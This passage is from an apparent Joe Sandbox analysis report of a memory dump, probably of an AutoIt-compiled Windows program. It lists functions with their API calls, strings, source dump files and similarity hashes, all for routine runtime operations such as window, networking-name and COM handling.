Function 00E62D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E62D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00E62D53
_ValidateLocalCookies.LIBCMT ref: 00E62DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00E62E0C
_ValidateLocalCookies.LIBCMT ref: 00E62E61

Strings

&H, xrefs: 00E62DFE, 00E62E07, 00E62E18
csm, xrefs: 00E62DF6

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &H$csm
API String ID: 1170836740-1242228090
Opcode ID: 66d71331d893b4d8ee2ba6df2acec8571e79f0ea7eb553902d293bc957e5a528
Instruction ID: 1ac4f54686859ad85031b06dc361493fa17f75f03032c07ef95acec7e4abd6b5
Opcode Fuzzy Hash: 66d71331d893b4d8ee2ba6df2acec8571e79f0ea7eb553902d293bc957e5a528
Instruction Fuzzy Hash: D941F634A406099BCF10DF68E844ADEBBF4BF443A8F149159E914BB392D731DA05CBD0

Function 00EAC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00EAC913

Strings

info, xrefs: 00EAC8B4
question, xrefs: 00EAC8CC
blank, xrefs: 00EAC895
warning, xrefs: 00EAC8FC
stop, xrefs: 00EAC8E4

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 094124fdfe9f04892ff9cba257cda3e7bb0aa426aa9f818343b378e59b5fb3ca
Instruction ID: 4ecd18623a356dad3e42bb1eddddadae5736f8ae779830baa4d2839d826d3ead
Opcode Fuzzy Hash: 094124fdfe9f04892ff9cba257cda3e7bb0aa426aa9f818343b378e59b5fb3ca
Instruction Fuzzy Hash: 70112B35689307BEE7055B54AC82CEB67DCDF5A358B30102FF504FA2C2EBA4BD006265

Function 00EADE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00EADE42
gethostname.WSOCK32(?,00000100), ref: 00EADE5C
gethostbyname.WSOCK32(?), ref: 00EADE69
inet_ntoa.WSOCK32(?), ref: 00EADEAB
_strcat.LIBCMT ref: 00EADEB9
WSACleanup.WSOCK32 ref: 00EADEDE

Strings

0.0.0.0, xrefs: 00EADE87

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 820de0d6413049fca25b9efe819d1070f9c652f0f1a205e2622229ebae08a369
Instruction ID: b0edc4c278910f00f7b90629c239d76afbdd620ba958834b0aee5513be906a68
Opcode Fuzzy Hash: 820de0d6413049fca25b9efe819d1070f9c652f0f1a205e2622229ebae08a369
Instruction Fuzzy Hash: 53113A71948115AFCB246B30AC0AEDE77FCDF19364F10116AF406BA091EF70AA81DA50

Function 00ED9F86 Relevance: 12.3, APIs: 8, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

GetSystemMetrics.USER32(0000000F), ref: 00ED9FC7
GetSystemMetrics.USER32(0000000F), ref: 00ED9FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00EDA224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00EDA242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00EDA263
ShowWindow.USER32(00000003,00000000), ref: 00EDA282
InvalidateRect.USER32(?,00000000,00000001), ref: 00EDA2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 00EDA2CA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 67bb4ecc37ba9cf984a48f366bb9817f8b6853aa02f49b2b659bd612449e5f20
Instruction ID: 8970cf87e0a430130ec0c9fe8a6d9d77d5dabd283688ee1e627c8d51604ffc35
Opcode Fuzzy Hash: 67bb4ecc37ba9cf984a48f366bb9817f8b6853aa02f49b2b659bd612449e5f20
Instruction Fuzzy Hash: 82B1B731600219AFDF14CF69C9857AE3BB2FF44705F08907AEC49AB3A5D731AA41CB51

Function 00EAED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00EAED2A
_wcslen.LIBCMT ref: 00EAED3B
_wcslen.LIBCMT ref: 00EAED79
_wcslen.LIBCMT ref: 00EAEDAF
_wcslen.LIBCMT ref: 00EAEDDF
_wcslen.LIBCMT ref: 00EAEDEF
_wcslen.LIBCMT ref: 00EAEE2B
_wcslen.LIBCMT ref: 00EAEE5A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 1ee220d49d26e52248a42dcb4c3b732b82efe94fddd8a11d0054d4f20bf9d5f1
Instruction ID: 9643025c03bf2f63c07f79b96ff80355545f462ffe9133af136c9f9b9d56b249
Opcode Fuzzy Hash: 1ee220d49d26e52248a42dcb4c3b732b82efe94fddd8a11d0054d4f20bf9d5f1
Instruction Fuzzy Hash: F041BE65C5021876DB11EBB49C8A9CFB3ECAF46340F50A462E518F3262FB34E245C3A6

Function 00E5F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00E9682C,00000004,00000000,00000000), ref: 00E5F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00E9682C,00000004,00000000,00000000), ref: 00E9F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00E9682C,00000004,00000000,00000000), ref: 00E9F454

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 9c889b5849421cc5a78b8accd82a1dda02d3225aa3e1c93419c8650b14f49bb6
Instruction ID: 17a4e69865342fde6c06e6f83e885f2161124e0fc2c15a93f66fa64921cd8021
Opcode Fuzzy Hash: 9c889b5849421cc5a78b8accd82a1dda02d3225aa3e1c93419c8650b14f49bb6
Instruction Fuzzy Hash: E6414031504A80BECB348B79D9887AA7BD1BBD635AF14783DE857B2560C671D488C711

Function 00ED2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00ED2D1B
GetDC.USER32(00000000), ref: 00ED2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00ED2D2E
ReleaseDC.USER32(00000000,00000000), ref: 00ED2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00ED2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00ED2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00ED5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00ED2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00ED2DE1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 9ac7d97e943a787bd0c943834d328580d70de4825014d392990d932fa325d548
Instruction ID: 6bcfc957c7d86159057803afc26c3bd19136da4c2ebb8367243c2336d6e2f487
Opcode Fuzzy Hash: 9ac7d97e943a787bd0c943834d328580d70de4825014d392990d932fa325d548
Instruction Fuzzy Hash: BC31AE72202214BFEB118F51DC8AFEB3FADEF19755F144056FE08AA291C6759C41CBA1

Function 00EA5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00EA5637
_memcmp.LIBVCRUNTIME ref: 00EA5659
_memcmp.LIBVCRUNTIME ref: 00EA5671
_memcmp.LIBVCRUNTIME ref: 00EA5684
_memcmp.LIBVCRUNTIME ref: 00EA569E
_memcmp.LIBVCRUNTIME ref: 00EA56B1
_memcmp.LIBVCRUNTIME ref: 00EA56C9
_memcmp.LIBVCRUNTIME ref: 00EA56E4

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 87a98ab4f77f0d3fec6f0d8f83887b5ec44708487b3e162d553a5faf3d89ff34
Instruction ID: fda035ffbc755e9b7ae9aabebd4edf0ed6b81a3062c308f632feb057ea846190
Opcode Fuzzy Hash: 87a98ab4f77f0d3fec6f0d8f83887b5ec44708487b3e162d553a5faf3d89ff34
Instruction Fuzzy Hash: D121DA636C0B05B7D21595105E82FFA739CEF6A388F456022FD067E741F720FD1181A5

Function 00EC4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00EC5007
NULL Pointer assignment, xrefs: 00EC502E, 00EC5383

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: fba874f717cb0d16cb5b44a56b4d4088ddf53eb22d647b5e4c867db81bd30de1
Instruction ID: 1e86bbe561bc673312c02fc4999c90f1698d9087d93bf410a067c62f713dbf0d
Opcode Fuzzy Hash: fba874f717cb0d16cb5b44a56b4d4088ddf53eb22d647b5e4c867db81bd30de1
Instruction Fuzzy Hash: FFD1AE72A0060A9FDF14CF98C981FAEB7B5BF48344F14906DE915BB281D772E986CB50

Function 00E81522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00E817FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00E815CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00E817FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00E81651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00E817FB,?,00E817FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00E816E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00E817FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00E816FB

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00E817FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00E81777
__freea.LIBCMT ref: 00E817A2
__freea.LIBCMT ref: 00E817AE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 6f086f8591e48f68ac799a6befb344f564a33e25fc80df3a074a84fa0b24a662
Instruction ID: 11a2eb21246f0f0dc470b831a69aeae5bbb9861f86c31c94da705990384db0db
Opcode Fuzzy Hash: 6f086f8591e48f68ac799a6befb344f564a33e25fc80df3a074a84fa0b24a662
Instruction Fuzzy Hash: 4991B371E002169ADB20AF74D841AEE7BF9EF49354F18669AE80DF7181D735CC42CB60

Function 00EC4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EC4648
VariantInit.OLEAUT32(?), ref: 00EC4749
VariantClear.OLEAUT32(?), ref: 00EC4753
VariantClear.OLEAUT32(?), ref: 00EC47B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 00EC45D8, 00EC4706, 00EC47BE
Incorrect Object type in FOR..IN loop, xrefs: 00EC472C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 03e55d9571eff613d31da6eea4601381fff0673cd09b19594be8faf30909afc3
Instruction ID: 6f7d13fc56f42cabc31211c69096c2a5cf8e90b28dcb1bc5e00a930786e8469e
Opcode Fuzzy Hash: 03e55d9571eff613d31da6eea4601381fff0673cd09b19594be8faf30909afc3
Instruction Fuzzy Hash: 1091ADB0A00219ABDF20CFA4C954FAEBBB8EF46714F10955EF505BB2C0D7719946CBA0

Function 00EB1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00EB125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00EB1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00EB12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00EB12D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00EB135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00EB13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00EB1430

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: b8ac6cc66389ba997798a86999b0885c221b0b2a43c6ed857eb3911350a25d8f
Instruction ID: f32a3651642e62ab668c47e07d71f204be6c88a9943d20c0f46bfeac11c5ac5b
Opcode Fuzzy Hash: b8ac6cc66389ba997798a86999b0885c221b0b2a43c6ed857eb3911350a25d8f
Instruction Fuzzy Hash: F191DD71A00219AFDB009FA8D8A4BEFB7F5FF45325F1050A9E910FB2A1D774A941CB90

Function 00E5948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: a3dc267ffcffdee285cf28971c9187ac05f76f1311874feb813d93315e5de164
Instruction ID: 0e453b04db58b4d5fd563277b4b9d1e65502f9a7c9c2efbed517fef6e045b4ca
Opcode Fuzzy Hash: a3dc267ffcffdee285cf28971c9187ac05f76f1311874feb813d93315e5de164
Instruction Fuzzy Hash: 1A914871D00219EFCB10CFA9CC84AEEBBB8FF48320F149555E915B7252D378A955CB60

Function 00EC3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EC396B
CharUpperBuffW.USER32(?,?), ref: 00EC3A7A
_wcslen.LIBCMT ref: 00EC3A8A
VariantClear.OLEAUT32(?), ref: 00EC3C1F

Part of subcall function 00EB0CDF: VariantInit.OLEAUT32(00000000), ref: 00EB0D1F
Part of subcall function 00EB0CDF: VariantCopy.OLEAUT32(?,?), ref: 00EB0D28
Part of subcall function 00EB0CDF: VariantClear.OLEAUT32(?), ref: 00EB0D34

Strings

AUTOIT.ERROR, xrefs: 00EC3A80, 00EC3A85
Incorrect Parameter format, xrefs: 00EC39A6, 00EC3BA1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 46173c3f5c924353c4c125bc43a581e26bc242be226a33525d385cc9a129431c
Instruction ID: cc4406ed9777d18d69dcd13f6d30c68630b009058372202029bcfe71564db454
Opcode Fuzzy Hash: 46173c3f5c924353c4c125bc43a581e26bc242be226a33525d385cc9a129431c
Instruction Fuzzy Hash: 21915A75A083019FC704EF24C580A6AB7E5FF89314F14996DF889AB351DB31EE46CB92

Function 00EC4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00EA000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?,?,00EA035E), ref: 00EA002B
Part of subcall function 00EA000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?), ref: 00EA0046
Part of subcall function 00EA000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?), ref: 00EA0054
Part of subcall function 00EA000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?), ref: 00EA0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00EC4C51
_wcslen.LIBCMT ref: 00EC4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00EC4DCF
CoTaskMemFree.OLE32(?), ref: 00EC4DDA

Strings

NULL Pointer assignment, xrefs: 00EC4E23, 00EC4E52

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: b42a7e126d594fe774e103495b45504c0fccda28c9ae7a06134cd3d9b5fb171a
Instruction ID: 7efb8c24e2c97cb7b04f166fdae6ef54f90bdab476d32a45d15506d1e6acc57f
Opcode Fuzzy Hash: b42a7e126d594fe774e103495b45504c0fccda28c9ae7a06134cd3d9b5fb171a
Instruction Fuzzy Hash: DD9127B1D002199FDF14DFA4D890EEEBBB8BF08314F10516AE915BB291DB315A45CF60

Function 00ED20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00ED2183
GetMenuItemCount.USER32(00000000), ref: 00ED21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00ED21DD
_wcslen.LIBCMT ref: 00ED2213
GetMenuItemID.USER32(?,?), ref: 00ED224D
GetSubMenu.USER32(?,?), ref: 00ED225B

Part of subcall function 00EA3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA3A57
Part of subcall function 00EA3A3D: GetCurrentThreadId.KERNEL32 ref: 00EA3A5E
Part of subcall function 00EA3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00EA25B3), ref: 00EA3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00ED22E3

Part of subcall function 00EAE97B: Sleep.KERNEL32 ref: 00EAE9F3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
